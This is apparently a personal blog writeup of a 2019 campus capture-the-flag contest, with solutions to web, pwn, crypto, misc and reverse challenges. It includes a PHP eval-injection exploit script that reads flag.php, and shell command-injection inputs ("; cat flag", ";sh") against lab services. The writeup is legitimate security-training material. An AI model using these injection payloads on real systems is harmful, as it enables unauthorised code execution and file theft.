xatuctf2019 校赛 writeup
2019年4月19日 · 1114 字 · 3 分钟 · Ctf
2019.4.14 校赛,由于之前没办萌新赛,所以这次的题有点水 23333
WEB
你能读到 flag 吗
题目:
<?php
error_reporting(0);
show_source(__FILE__);
$a = @$_REQUEST['hello'];
eval("var_dump($a);");?>
谷歌之,原题,直接复制提交。
使用 file_get_contents()
方法获得 flag
python 代码如下
import requests
s=requests.session()
body = {"hello":"file_get_contents('flag.php')"}
r = s.post("http://192.168.1.5:23114/read.php", data=body)
print(r.content)
phpdecode
直接搜 1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
找到了别人的 wp,flag 获得。
1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY= <?php
error_reporting(0);
require __DIR__.'/lib.php';
echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>';
highlight_file(__FILE__);?>
可知加密为 base64_encode(hex2bin(strrev(bin2hex($flag))))
,一层一层解密,python 脚本如下
from base64 import b64decode
from binascii import hexlify, unhexlify
code = "1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY="
print(unhexlify(hexlify(b64decode(code))[::-1]))
PWN
nc from 0 to 1
直接 nc 连接即可获得 flag
ls1
ls as a service,将输入的字符传递为 ls 的 args,多试几次即可得出文件目录结构,精简后的如下:
.
├── bin
│ ├── cat
│ ├── ls
│ └── sh
├── flag
└── ls1
传入 ; cat flag
即可读到
ls2
ls as a service v2,限制了传入 args 的字符数为 3,无法直接 cat flag
。
由于 bin
下存在 sh
,通过 ;sh
唤起 shell,读取 flag。
CRYPTO
dididi
..-. .-.. .- --. ..-. -.. ....- .---- . .---- ..--- -.. ----- ...-- .---- -.-. ..--- . -.. -.... -.-. ..-. ---.. ---.. ---.. -.... ...-- ---.. . -.... -.... -... . ....- -.. .
摩斯密码
Caesar cipher
kqfl{Hfjxfw_hnumjw_1x_xt_xnruqj}
凯撒加密
rc4
cipher:wRTwnbjEAf6T22dYzyKgtBzQ/ydMmNqmf3WeW9E=
key:eGF0dXNlYw==
rc4 加密,唯一需要注意的是 key 可能需要经过一次 base64 解密。
Datababy
数码宝贝中的字母表,对照即可。
(由此题可以知道出题人没再手动复现题,因为 datababy 并不能搜到数码宝贝。其官方英文名称为 Digital monster 。
baby RSA
与下面的 esayRSA 相同,用现成的库就好
110
ONE -> 1 ZERO -> 0 得到一长长长长长长长长长长长长长长长长长长长长长串 0 和 1。
每八位二进制转 ASCII 即可获得 flag。
easy RSA
n = 9637828843823500407917687664441327784714605952794831018467094508166140790258515855681653788687192363262499178812675284846293988948568322307302995971433129
e = 65537
c = 1736476276571471518318904802453151397043836796931780608028216447791913603812271065838523639504410549594365173220377575243217983329182149750696526310732151
https://github.com/3summer/CTF-RSA-tool
MISC
这个容易,就是有点累
一个压缩了几千层的 zip 包,可以直接上十六进制查看器(winhex, hxd, 010 editor 等)打开,Ctrl + F flag 即可得到。
据写脚本解压的小伙伴称他们跑了一个多小时(
压缩脚本如下
#!/bin/bash
name1=`cat /dev/urandom | sed 's/[^a-zA-Z0-9]//g' | strings -n 6 | head -n 1`
name2=".zip"
name=$name1$name2
#echo $name
zip -m $name flag
while true
do
name1=`cat /dev/urandom | sed 's/[^a-zA-Z0-9]//g' | strings -n 6 | head -n 1`
name=$name1$name2
zip -m $name *.zip
done
Fibs
求斐波那契数列第 1234 项,然后 md5(hex(Fibs(1234))),(转小写后)即为 flag。
看到这个题……肯定不能自己现场写算法,否则会被跑炸内存的。直接谷歌斐波那契数列快速求第 N 项,得到 O(log N) 的算法后写脚本求项。
脚本如下
def Fibonacci_recursion_fast(n):
if n == 0:
return 0
if n == 1:
return 1
k = (n + 1) / 2 if n % 2 else n / 2
fib_k = Fibonacci_recursion_fast(k)
fib_k_1 = Fibonacci_recursion_fast(k - 1)
return fib_k**2 + fib_k_1**2 if n % 2 else (2 * fib_k_1 + fib_k) * fib_k
print(hex(Fibonacci_recursion_fast(1234)))
md5 一下,再转小写提交。
REVERSE
Snake
贪吃蛇,玩到 70 分就出 flag
ssta’s Python 教室
给的是一个 pyc 文件,在线反编译,得到的代码如下。
# encoding: utf-8
from base64 import b32encode
import codecs
def b32(s):
return b32encode(s)
def rot13(s):
return codecs.encode(s, 'rot13')
# return s.encode('rot13')
def reverse(s):
return s[::-1]
def reverseSomeByte(s):
return s[-6:] + s[:-6]
def main():
flag = '******************************'
cipher = reverse(b32(rot13(reverseSomeByte(flag))))
print(cipher)
print('=== WELCOME TO XATUCTF2019 ===')
return 'C336VYBGQB56FX5LGLM6FX5MFDNGGTZMGTP4D7MPUT3SXZVP6RP4TQQN'
if __name__ == '__main__':
ffllaagg = main()
print('FLAG is right here. Can you get it?', ffllaagg)
重点是 cipher = reverse(b32(rot13(reverseSomeByte(flag))))
,与 phpencode 相似,自己写脚本一层一层解密即可。
自己写的不完善的脚本如下
# -*- encoding: utf-8 -*-
from base64 import b32decode
import codecs
def b32(s):
return b32decode(s)
def rot13(s):
return codecs.decode(s, 'rot13')
def reverse(s):
return s[::-1]
cipher = 'C336VYBGQB56FX5LGLM6FX5MFDNGGTZMGTP4D7MPUT3SXZVP6RP4TQQN'
print(rot13(b32(reverse(cipher)).decode("ASCII")))
前六位移到最后即可。
自己没做出来的题就没写 wp 23333